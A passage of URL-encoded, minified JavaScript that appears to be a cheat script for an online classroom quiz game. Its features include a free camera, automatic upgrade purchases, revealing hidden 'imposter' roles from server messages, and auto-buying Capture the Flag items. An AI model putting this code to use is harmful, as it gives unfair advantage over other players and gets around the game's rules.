clearInterval(l)%7Dlt.subscribe((e%3D%3E%7Bif(!e)return%3Blet%20t%3DsetInterval((()%3D%3E%7Blet%20e%3DHe()%3F.stores%3F.phaser%3F.scene%3F.cameras%3F.cameras%5B0%5D%3F.zoom%3Be%26%26(n(2%2Cf%3De)%2CclearInterval(t))%7D)%2C50)%7D))%3Blet%20h%3D%5B%5D%2Cp%3D%5B%5D%3But.subscribe((e%3D%3E%7Bn(3%2Ch%3Dh.filter((t%3D%3Et.id!%3D%3De)))%7D))%2Cit.addEventListener(%22load%22%2C(()%3D%3E%7Bconst%20e%3D()%3D%3E%7Bn(3%2Ch%3D%5B%5D)%3Bfor(let%20e%20of%20p)e()%3Bfor(let%5Bt%2Cn%5Dof%20it.state.characters.%24items)%7Bif(!n.isActive%7C%7Ct%3D%3D%3Dr)continue%3Bh.push(%7Bid%3At%2Cname%3An.name%7D)%3Blet%20o%3Dn.listen(%22isActive%22%2C((t%2Cn)%3D%3E%7Bvoid%200!%3D%3Dn%26%26e()%7D))%3Bp.push(o)%7D%7D%3Bit.state.characters.onChange(e)%2Ce()%7D))%3Blet%20g%3D!1%3Breturn%5Bi%2Ca%2Cf%2Ch%2Cg%2Co%2Cfunction(e)%7Be.key.startsWith(%22Arrow%22)%26%26(a%26%26e.stopImmediatePropagation()%2Cs.add(e.key))%7D%2Cfunction(e)%7Bs.delete(e.key)%7D%2Cfunction(e)%7Bn(2%2Cf%3De.detail)%2CHe().stores.phaser.scene.cameras.cameras%5B0%5D.setZoom(e.detail)%7D%2Cfunction()%7Bg%3F(n(4%2Cg%3D!1)%2Cd()%2Cn(0%2Ci.value%3D%22%22%2Ci))%3A(n(1%2Ca%3D!a)%2Ca%3Ffunction()%7Blet%20e%3DHe().stores.phaser.scene%2Ct%3De.cameras.cameras%5B0%5D%3Be.cameraHelper.stopFollow()%2Cu%3D%7Bx%3At.midPoint.x%2Cy%3At.midPoint.y%7D%2Ct.useBounds%3D!1%2Cl%3DsetInterval((()%3D%3E%7Blet%20t%3D20%2Ff*1.75%3Bs.has(%22ArrowUp%22)%26%26(u.y-%3Dt)%2Cs.has(%22ArrowDown%22)%26%26(u.y%2B%3Dt)%2Cs.has(%22ArrowLeft%22)%26%26(u.x-%3Dt)%2Cs.has(%22ArrowRight%22)%26%26(u.x%2B%3Dt)%2Ce.cameraHelper.goTo(u)%7D)%2C1e3%2F30)%7D()%3Ad())%7D%2Cfunction()%7Bif(!i.value)return%3Bn(4%2Cg%3D!0)%2Cn(1%2Ca%3D!1)%2Cd()%3Blet%20e%3DHe().stores.phaser.scene.characterManager.characters.get(i.value)%3Be%26%26He().stores.phaser.scene.cameraHelper.startFollowingObject(%7Bobject%3Ae.body%7D)%7D%2Cfunction(t)%7BW.call(this%2Ce%2Ct)%7D%2Cfunction(e)%7BG%5Be%3F%22unshift%22%3A%22push%22%5D((()%3D%3E%7Bi%3De%2Cn(0%2Ci)%2Cn(3%2Ch)%7D))%7D%5D%7Dclass%20Tr%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Ckr%2CIr%2Ci%2C%7B%7D%2Cbr)%7D%7Dfunction%20Cr(t)%7Blet%20n%2Cr%3Breturn%20n%3Dnew%20hn(%7Bprops%3A%7BonText%3A%22Show%20Energy%20Popup%22%2CoffText%3A%22Hide%20Energy%20Popup%22%2ChotkeyId%3A%22toggleEnergyPopup%22%7D%7D)%2Cn.%24on(%22click%22%2Ct%5B0%5D)%2C%7Bc()%7Bhe(n.%24%24.fragment)%7D%2Cm(e%2Ct)%7Bpe(n%2Ce%2Ct)%2Cr%3D!0%7D%2Cp%3Ae%2Ci(e)%7Br%7C%7C(le(n.%24%24.fragment%2Ce)%2Cr%3D!0)%7D%2Co(e)%7Bue(n.%24%24.fragment%2Ce)%2Cr%3D!1%7D%2Cd(e)%7Bge(n%2Ce)%7D%7D%7Dfunction%20Rr(e)%7Blet%20t%2Cn%3D!1%2Cr%3Dnew%20MutationObserver((e%3D%3E%7Bfor(let%20r%20of%20e)for(let%20e%20of%20r.addedNodes)e.nodeType%3D%3DNode.ELEMENT_NODE%26%26e.matches(%22.maxAll.flex.hc%22)%26%26e.querySelector(%22img%5Bsrc%5E%3D'%2Fassets%2Fmap%2Finventory%2Fresources%2F'%5D%22)%26%26(t%3De%2Cn%26%26(t.style.display%3D%22none%22))%7D))%3Bconst%20o%3D()%3D%3E%7Br.observe(document.body%2C%7BchildList%3A!0%2Csubtree%3A!0%7D)%7D%3Breturn%20document.body%3Fo()%3Awindow.addEventListener(%22DOMContentLoaded%22%2Co)%2C%5Bfunction(e)%7Bn%3De.detail%2Ct%26%26(t.style.display%3Dn%3F%22none%22%3A%22%22)%7D%5D%7Dclass%20Sr%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2CRr%2CCr%2Ci%2C%7B%7D)%7D%7Dfunction%20Pr(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20hn(%7Bprops%3A%7BonText%3A%22Stop%20auto%20purchasing%22%2CoffText%3A%22Auto%20Purchase%20Upgrades%22%2ChotkeyId%3A%22classicAutoPurchase%22%2Cdisabled%3Anull%3D%3De%5B0%5D%2CdisabledMsg%3A%22Money%20hasn't%20loaded%20yet%22%7D%7D)%2Ct.%24on(%22click%22%2Ce%5B1%5D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2Cn)%7Bconst%20r%3D%7B%7D%3B1%26n%26%26(r.disabled%3Dnull%3D%3De%5B0%5D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20Mr(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Classic%22%2C%24%24slots%3A%7Bdefault%3A%5BPr%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B257%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20Nr(e%2Ct%2Cn)%7Bconst%20r%3D%5B%5B%22Streak%20Bonus%22%2C2%2C20%5D%2C%5B%22Money%20Per%20Question%22%2C3%2C100%5D%2C%5B%22Streak%20Bonus%22%2C3%2C200%5D%2C%5B%22Multiplier%22%2C3%2C300%5D%2C%5B%22Streak%20Bonus%22%2C4%2C2e3%5D%2C%5B%22Multiplier%22%2C4%2C2e3%5D%2C%5B%22Money%20Per%20Question%22%2C5%2C1e4%5D%2C%5B%22Streak%20Bonus%22%2C5%2C2e4%5D%2C%5B%22Multiplier%22%2C5%2C12e3%5D%2C%5B%22Money%20Per%20Question%22%2C6%2C75e3%5D%2C%5B%22Multiplier%22%2C6%2C85e3%5D%2C%5B%22Streak%20Bonus%22%2C6%2C2e5%5D%2C%5B%22Streak%20Bonus%22%2C7%2C2e6%5D%2C%5B%22Streak%20Bonus%22%2C8%2C2e7%5D%2C%5B%22Multiplier%22%2C7%2C7e5%5D%2C%5B%22Money%20Per%20Question%22%2C9%2C1e7%5D%2C%5B%22Multiplier%22%2C8%2C65e5%5D%2C%5B%22Streak%20Bonus%22%2C9%2C2e8%5D%2C%5B%22Multiplier%22%2C9%2C65e6%5D%2C%5B%22Streak%20Bonus%22%2C10%2C2e9%5D%2C%5B%22Money%20Per%20Question%22%2C10%2C1e8%5D%2C%5B%22Multiplier%22%2C10%2C1e9%5D%5D%3Bvar%20o%3B!function(e)%7Be.Insurance%3D%22insurance%22%2Ce%5B%22Money%20Per%20Question%22%5D%3D%22moneyPerQuestion%22%2Ce.Multiplier%3D%22multiplier%22%2Ce%5B%22Streak%20Bonus%22%5D%3D%22streakBonus%22%7D(o%7C%7C(o%3D%7B%7D))%3Blet%20i%3Dnull%2Cs%3D%7B%7D%2Ca%3D!1%3Bfunction%20c()%7Bif(!a)return%3Blet%20e%3Dr%5B0%5D%3Bvar%20t%2Cn%3Be%26%26(i%3E%3De%5B2%5D%26%26(t%3De%5B0%5D%2Cn%3De%5B1%5D%2Cat.sendMessage(%22UPGRADE_PURCHASED%22%2C%7BupgradeName%3At%2Clevel%3An%7D)))%7Dreturn%20at.addEventListener(%22blueboatMessage%22%2C(e%3D%3E%7Bif(%22UPGRADE_LEVELS%22%3D%3De.detail.data%3F.type)%7Bs%3De.detail.data.value%3Bfor(let%20e%3D0%3Be%3Cr.length%3Be%2B%2B)%7Blet%20t%3Dr%5Be%5D%3Bs%5Bo%5Bt%5B0%5D%5D%5D%3E%3Dt%5B1%5D%26%26(r.splice(e%2C1)%2Ce--)%7D%7D%22BALANCE%22%3D%3De.detail.data%3F.type%26%26(n(0%2Ci%3De.detail.data.value)%2Cc())%7D))%2C%5Bi%2Cfunction(e)%7Be.detail%3F(a%3D!0%2Cc())%3Aa%3D!1%7D%5D%7Dlet%20Dr%3Dclass%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2CNr%2CMr%2Ci%2C%7B%7D)%7D%7D%3Bfunction%20Lr(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20hn(%7Bprops%3A%7BonText%3A%22Stop%20auto%20purchasing%22%2CoffText%3A%22Auto%20Purchase%20Upgrades%22%2ChotkeyId%3A%22richModeAutoPurchase%22%2Cdisabled%3Anull%3D%3De%5B0%5D%2CdisabledMsg%3A%22Money%20hasn't%20loaded%20yet%22%7D%7D)%2Ct.%24on(%22click%22%2Ce%5B1%5D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2Cn)%7Bconst%20r%3D%7B%7D%3B1%26n%26%26(r.disabled%3Dnull%3D%3De%5B0%5D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20qr(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Super%20Rich%20Mode%22%2C%24%24slots%3A%7Bdefault%3A%5BLr%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B257%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20Ur(e%2Ct%2Cn)%7Bconst%20r%3D%5B%5B%22Streak%20Bonus%22%2C2%2C1e4%5D%2C%5B%22Money%20Per%20Question%22%2C3%2C5e3%5D%2C%5B%22Streak%20Bonus%22%2C3%2C1e5%5D%2C%5B%22Multiplier%22%2C3%2C15e4%5D%2C%5B%22Streak%20Bonus%22%2C4%2C1e6%5D%2C%5B%22Multiplier%22%2C4%2C1e6%5D%2C%5B%22Money%20Per%20Question%22%2C5%2C5e6%5D%2C%5B%22Streak%20Bonus%22%2C5%2C1e7%5D%2C%5B%22Multiplier%22%2C5%2C6e6%5D%2C%5B%22Money%20Per%20Question%22%2C6%2C375e5%5D%2C%5B%22Multiplier%22%2C6%2C425e5%5D%2C%5B%22Streak%20Bonus%22%2C6%2C1e8%5D%2C%5B%22Streak%20Bonus%22%2C7%2C1e9%5D%2C%5B%22Streak%20Bonus%22%2C8%2C1e10%5D%2C%5B%22Multiplier%22%2C7%2C35e7%5D%2C%5B%22Money%20Per%20Question%22%2C9%2C5e9%5D%2C%5B%22Multiplier%22%2C8%2C325e7%5D%2C%5B%22Streak%20Bonus%22%2C9%2C1e11%5D%2C%5B%22Multiplier%22%2C9%2C325e8%5D%2C%5B%22Streak%20Bonus%22%2C10%2C1e12%5D%2C%5B%22Money%20Per%20Question%22%2C10%2C5e10%5D%2C%5B%22Multiplier%22%2C10%2C5e11%5D%5D%3Bvar%20o%3B!function(e)%7Be.Insurance%3D%22insurance%22%2Ce%5B%22Money%20Per%20Question%22%5D%3D%22moneyPerQuestion%22%2Ce.Multiplier%3D%22multiplier%22%2Ce%5B%22Streak%20Bonus%22%5D%3D%22streakBonus%22%7D(o%7C%7C(o%3D%7B%7D))%3Blet%20i%3Dnull%2Cs%3D%7B%7D%2Ca%3D!1%3Bfunction%20c()%7Bif(!a)return%3Blet%20e%3Dr%5B0%5D%3Bvar%20t%2Cn%3Be%26%26(i%3E%3De%5B2%5D%26%26(t%3De%5B0%5D%2Cn%3De%5B1%5D%2Cat.sendMessage(%22UPGRADE_PURCHASED%22%2C%7BupgradeName%3At%2Clevel%3An%7D)))%7Dreturn%20at.addEventListener(%22blueboatMessage%22%2C(e%3D%3E%7Bif(%22UPGRADE_LEVELS%22%3D%3De.detail.data%3F.type)%7Bs%3De.detail.data.value%3Bfor(let%20e%3D0%3Be%3Cr.length%3Be%2B%2B)%7Blet%20t%3Dr%5Be%5D%3Bs%5Bo%5Bt%5B0%5D%5D%5D%3E%3Dt%5B1%5D%26%26(r.splice(e%2C1)%2Ce--)%7D%7D%22BALANCE%22%3D%3De.detail.data%3F.type%26%26(n(0%2Ci%3De.detail.data.value)%2Cc())%7D))%2C%5Bi%2Cfunction(e)%7Be.detail%3F(a%3D!0%2Cc())%3Aa%3D!1%7D%5D%7Dclass%20jr%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2CUr%2Cqr%2Ci%2C%7B%7D)%7D%7Dfunction%20Br(e)%7Bx(e%2C%22svelte-1h3d0lh%22%2C%22div.svelte-1h3d0lh%7Bpadding-left%3A10px%3Bpadding-right%3A10px%7D%22)%7Dfunction%20Hr(e)%7Blet%20t%2Cn%2Cr%2Co%2Ci%3D(0%3D%3De%5B0%5D.length%3F%22Waiting...%22%3Ae%5B0%5D.join(%22%2C%20%22))%2B%22%22%3Breturn%7Bc()%7Bt%3DO(%22div%22)%2Cn%3DO(%22p%22)%2Cn.textContent%3D%22This%20script%20will%20only%20work%20if%20you%20don't%20join%20mid-game.%22%2Cr%3Dk(%22%5Cr%5Cn%20%20%20%20%20%20%20%20Imposters%3A%20%22)%2Co%3Dk(i)%2CM(t%2C%22class%22%2C%22svelte-1h3d0lh%22)%7D%2Cm(e%2Ci)%7BE(e%2Ct%2Ci)%2Cw(t%2Cn)%2Cw(t%2Cr)%2Cw(t%2Co)%7D%2Cp(e%2Ct)%7B1%26t%26%26i!%3D%3D(i%3D(0%3D%3De%5B0%5D.length%3F%22Waiting...%22%3Ae%5B0%5D.join(%22%2C%20%22))%2B%22%22)%26%26D(o%2Ci)%7D%2Cd(e)%7Be%26%26_(t)%7D%7D%7Dfunction%20zr(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Trust%20No%20One%22%2C%24%24slots%3A%7Bdefault%3A%5BHr%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B3%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20Vr(e%2Ct%2Cn)%7Blet%20r%3D%5B%5D%3Breturn%20at.addEventListener(%22blueboatMessage%22%2C(e%3D%3E%7Bif(%22IMPOSTER_MODE_PEOPLE%22%3D%3De.detail.key)%7Blet%20t%3De.detail.data.filter((e%3D%3E%22imposter%22%3D%3De.role))%3Bn(0%2Cr%3Dt.map((e%3D%3Ee.name)))%7D%7D))%2C%5Br%5D%7Dclass%20Fr%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2CVr%2Czr%2Ci%2C%7B%7D%2CBr)%7D%7Dfunction%20Wr(e)%7Blet%20t%2Cn%2Cr%2Co%3D(e%5B1%5D%3F%3Fe%5B2%5D%5B0%5D%3F.options%3F.amountOfRequiredItem)%2B%22%22%3Breturn%7Bc()%7Bt%3Dk(%22(%22)%2Cn%3Dk(o)%2Cr%3Dk(%22)%22)%7D%2Cm(e%2Co)%7BE(e%2Ct%2Co)%2CE(e%2Cn%2Co)%2CE(e%2Cr%2Co)%7D%2Cp(e%2Ct)%7B6%26t%26%26o!%3D%3D(o%3D(e%5B1%5D%3F%3Fe%5B2%5D%5B0%5D%3F.options%3F.amountOfRequiredItem)%2B%22%22)%26%26D(n%2Co)%7D%2Cd(e)%7Be%26%26(_(t)%2C_(n)%2C_(r))%7D%7D%7Dfunction%20Jr(e)%7Blet%20t%2Cn%2Cr%2Co%2Ci%3De%5B2%5D.length%3E0%26%26(e%5B2%5D%5B0%5D%3F.options%3F.amountOfRequiredItem%7C%7Ce%5B1%5D)%26%26Wr(e)%3Breturn%7Bc()%7Bt%3Dk(%22Purchase%20%22)%2Cn%3Dk(e%5B0%5D)%2Cr%3DT()%2Ci%26%26i.c()%2Co%3DC()%7D%2Cm(e%2Cs)%7BE(e%2Ct%2Cs)%2CE(e%2Cn%2Cs)%2CE(e%2Cr%2Cs)%2Ci%26%26i.m(e%2Cs)%2CE(e%2Co%2Cs)%7D%2Cp(e%2Ct)%7B1%26t%26%26D(n%2Ce%5B0%5D)%2Ce%5B2%5D.length%3E0%26%26(e%5B2%5D%5B0%5D%3F.options%3F.amountOfRequiredItem%7C%7Ce%5B1%5D)%3Fi%3Fi.p(e%2Ct)%3A(i%3DWr(e)%2Ci.c()%2Ci.m(o.parentNode%2Co))%3Ai%26%26(i.d(1)%2Ci%3Dnull)%7D%2Cd(e)%7Be%26%26(_(t)%2C_(n)%2C_(r)%2C_(o))%2Ci%26%26i.d(e)%7D%7D%7Dfunction%20Gr(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Vt(%7Bprops%3A%7Bdisabled%3A!e%5B3%5D%7C%7C0%3D%3De%5B2%5D.length%2CdisabledMsg%3Ae%5B3%5D%3F%22No%20matching%20purchase%20devices%22%3A%22Devices%20haven't%20loaded%20yet%22%2C%24%24slots%3A%7Bdefault%3A%5BJr%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2Ct.%24on(%22click%22%2Ce%5B4%5D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B12%26n%26%26(r.disabled%3D!e%5B3%5D%7C%7C0%3D%3De%5B2%5D.length)%2C8%26n%26%26(r.disabledMsg%3De%5B3%5D%3F%22No%20matching%20purchase%20devices%22%3A%22Devices%20haven't%20loaded%20yet%22)%2C135%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20Kr(e%2Ct%2Cn)%7Blet%20r%3Bc(e%2Cft%2C(e%3D%3En(3%2Cr%3De)))%3Blet%7Bselector%3Ao%7D%3Dt%2C%7BdisplayText%3Ai%7D%3Dt%2C%7Breusable%3As%3D!1%7D%3Dt%2C%7Bcost%3Aa%7D%3Dt%2Cl%3D%5B%5D%3Breturn%20ft.subscribe((e%3D%3E%7Bif(!e)return%3Blet%20t%3DHe()%3F.stores%3F.phaser%3F.scene%3F.worldManager%3F.devices%3F.allDevices%3Bn(2%2Cl%3Dt.filter((e%3D%3E%7Blet%20t%3D!0%3Bfor(let%5Bn%2Cr%5Dof%20Object.entries(o))for(let%5Bo%2Ci%5Dof%20Object.entries(r))if(i.endsWith%3F.(%22*%22))%7Bif(i%3Di.slice(0%2C-1)%2C!e%3F.%5Bn%5D%3F.%5Bo%5D%3F.startsWith(i))%7Bt%3D!1%3Bbreak%7D%7Delse%20if(%22function%22%3D%3Dtypeof%20i)%7Bif(e%3F.%5Bn%5D%3F.%5Bo%5D!%3Di())%7Bt%3D!1%3Bbreak%7D%7Delse%20if(e%3F.%5Bn%5D%3F.%5Bo%5D!%3Di)%7Bt%3D!1%3Bbreak%7Dreturn%20t%7D)))%2Cl.sort(((e%2Ct)%3D%3Ee%3F.options%3F.amountOfRequiredItem-t%3F.options%3F.amountOfRequiredItem))%7D))%2Ce.%24%24set%3De%3D%3E%7B%22selector%22in%20e%26%26n(5%2Co%3De.selector)%2C%22displayText%22in%20e%26%26n(0%2Ci%3De.displayText)%2C%22reusable%22in%20e%26%26n(6%2Cs%3De.reusable)%2C%22cost%22in%20e%26%26n(1%2Ca%3De.cost)%7D%2C%5Bi%2Ca%2Cl%2Cr%2Casync%20function()%7Blet%20e%3DHe()%3F.stores%3F.phaser%3F.scene%3F.worldManager%3F.devices%3F.allDevices%3Bl%5B0%5D%3F.interactiveZones%3F.onInteraction%3F(l%5B0%5D%3F.interactiveZones%3F.onInteraction()%2Cs%7C%7C(await%20new%20Promise((e%3D%3EsetTimeout(e%2C500)))%2Cl%5B0%5D.state.active%7C%7C(l.shift()%2Cn(2%2Cl))))%3An(2%2Cl%3Dl.map((t%3D%3Ee.find((e%3D%3Ee.id%3D%3Dt.id)))))%7D%2Co%2Cs%5D%7Dclass%20Qr%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2CKr%2CGr%2Ci%2C%7Bselector%3A5%2CdisplayText%3A0%2Creusable%3A6%2Ccost%3A1%7D)%7D%7Dfunction%20Xr(t)%7Blet%20n%2Cr%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%2Cd%2Ch%3Breturn%20n%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Speed%20Upgrade%22%2Cselector%3A%7Boptions%3A%7BgrantedItemName%3A%22Speed%20Upgrade%22%7D%7D%7D%7D)%2Co%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Efficiency%20Upgrade%22%2Cselector%3A%7Boptions%3A%7BgrantedItemName%3A%22Efficiency%20Upgrade%22%7D%7D%7D%7D)%2Cs%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Energy%20Per%20Question%20Upgrade%22%2Cselector%3A%7Boptions%3A%7BgrantedItemName%3A%22Energy%20Per%20Question%20Upgrade%22%7D%7D%7D%7D)%2Cc%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Invisabits%22%2Creusable%3A!0%2Cselector%3A%7Boptions%3A%7BgrantedItemId%3A%22silver-ore%22%7D%7D%7D%7D)%2Cu%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Barrier%22%2Cselector%3A%7Bstate%3A%7Bactive%3A!0%7D%2Coptions%3A%7BgrantedItemName%3A%22Barrier*%22%2CallowedPurchaseTeam%3At%5B0%5D%7D%7D%7D%7D)%2Cd%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Big%20Barrier%22%2Cselector%3A%7Bstate%3A%7Bactive%3A!0%7D%2Coptions%3A%7BgrantedItemName%3A%22Big%20Barrier*%22%2CallowedPurchaseTeam%3At%5B1%5D%7D%7D%7D%7D)%2C%7Bc()%7Bhe(n.%24%24.fragment)%2Cr%3DT()%2Che(o.%24%24.fragment)%2Ci%3DT()%2Che(s.%24%24.fragment)%2Ca%3DT()%2Che(c.%24%24.fragment)%2Cl%3DT()%2Che(u.%24%24.fragment)%2Cf%3DT()%2Che(d.%24%24.fragment)%7D%2Cm(e%2Ct)%7Bpe(n%2Ce%2Ct)%2CE(e%2Cr%2Ct)%2Cpe(o%2Ce%2Ct)%2CE(e%2Ci%2Ct)%2Cpe(s%2Ce%2Ct)%2CE(e%2Ca%2Ct)%2Cpe(c%2Ce%2Ct)%2CE(e%2Cl%2Ct)%2Cpe(u%2Ce%2Ct)%2CE(e%2Cf%2Ct)%2Cpe(d%2Ce%2Ct)%2Ch%3D!0%7D%2Cp%3Ae%2Ci(e)%7Bh%7C%7C(le(n.%24%24.fragment%2Ce)%2Cle(o.%24%24.fragment%2Ce)%2Cle(s.%24%24.fragment%2Ce)%2Cle(c.%24%24.fragment%2Ce)%2Cle(u.%24%24.fragment%2Ce)%2Cle(d.%24%24.fragment%2Ce)%2Ch%3D!0)%7D%2Co(e)%7Bue(n.%24%24.fragment%2Ce)%2Cue(o.%24%24.fragment%2Ce)%2Cue(s.%24%24.fragment%2Ce)%2Cue(c.%24%24.fragment%2Ce)%2Cue(u.%24%24.fragment%2Ce)%2Cue(d.%24%24.fragment%2Ce)%2Ch%3D!1%7D%2Cd(e)%7Be%26%26(_(r)%2C_(i)%2C_(a)%2C_(l)%2C_(f))%2Cge(n%2Ce)%2Cge(o%2Ce)%2Cge(s%2Ce)%2Cge(c%2Ce)%2Cge(u%2Ce)%2Cge(d%2Ce)%7D%7D%7Dfunction%20Yr(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Capture%20the%20Flag%22%2C%24%24slots%3A%7Bdefault%3A%5BXr%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B4%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20Zr(e)%7Breturn%5B()%3D%3EHe()%3F.stores%3F.phaser%3F.mainCharacter%3F.teamId%2C()%3D%3EHe()%3F.stores%3F.phaser%3F.mainCharacter%3F.teamId%5D%7Dclass%20eo%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2CZr%2CYr%2Ci%2C%7B%7D)%7D%7Dfunction%20to(t)%7Blet%20n%2Cr%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%3Breturn%20n%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Speed%20Upgrade%22%2Cselector%3A%7Boptions%3A%7BgrantedItemName%3A%22Speed%20Upgrade%22%7D%7D%7D%7D)%2Co%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Efficiency%20Upgrade%22%2Cselector%3A%7Boptions%3A%7BgrantedItemName%3A%22Efficiency%20Upgrade%22%7D%7D%7D%7D)%2Cs%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Energy%20Per%20Question%20Upgrade%22%2Cselector%3A%7Boptions%3A%7BgrantedItemName%3A%22Energy%20Per%20Question%20Upgrade%22%7D%7D%7D%7D)%2Cc%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Endurance%20Upgrade%22%2Cselector%3A%7Boptions%3A%7BgrantedItemName%3A%22Endurance%20Upgrade%22%7D%7D%7D%7D)%2C%7Bc()%7Bhe(n.%24%24.fragment)%2Cr%3DT()%2Che(o.%24%24.fragment)%2Ci%3DT()%2Che(s.%24%24.fragment)%2Ca%3DT()%2Che(c.%24%24.fragment)%7D%2Cm(e%2Ct)%7Bpe(n%2Ce%2Ct)%2CE(e%2Cr%2Ct)%2Cpe(o%2Ce%2Ct)%2CE(e%2Ci%2Ct)%2Cpe(s%2Ce%2Ct)%2CE(e%2Ca%2Ct)%2Cpe(c%2Ce%2Ct)%2Cl%3D!0%7D%2Cp%3Ae%2Ci(e)%7Bl%7C%7C(le(n.%24%24.fragment%2Ce)%2Cle(o.%24%24.fragment%2Ce)%2Cle(s.%24%24.fragment%2Ce)%2Cle(c.%24%24.fragment%2Ce)%2Cl%3D!0)%7D%2Co(e)%7Bue(n.%24%24.fragment%2Ce)%2Cue(o.%24%24.fragment%2Ce)%2Cue(s.%24%24.fragment%2Ce)%2Cue(c.%24%24.fragment%2Ce)%2Cl%3D!1%7D%2Cd(e)%7Be%26%26(_(r)%2C_(i)%2C_(a))%2Cge(n%2Ce)%2Cge(o%2Ce)%2Cge(s%2Ce)%2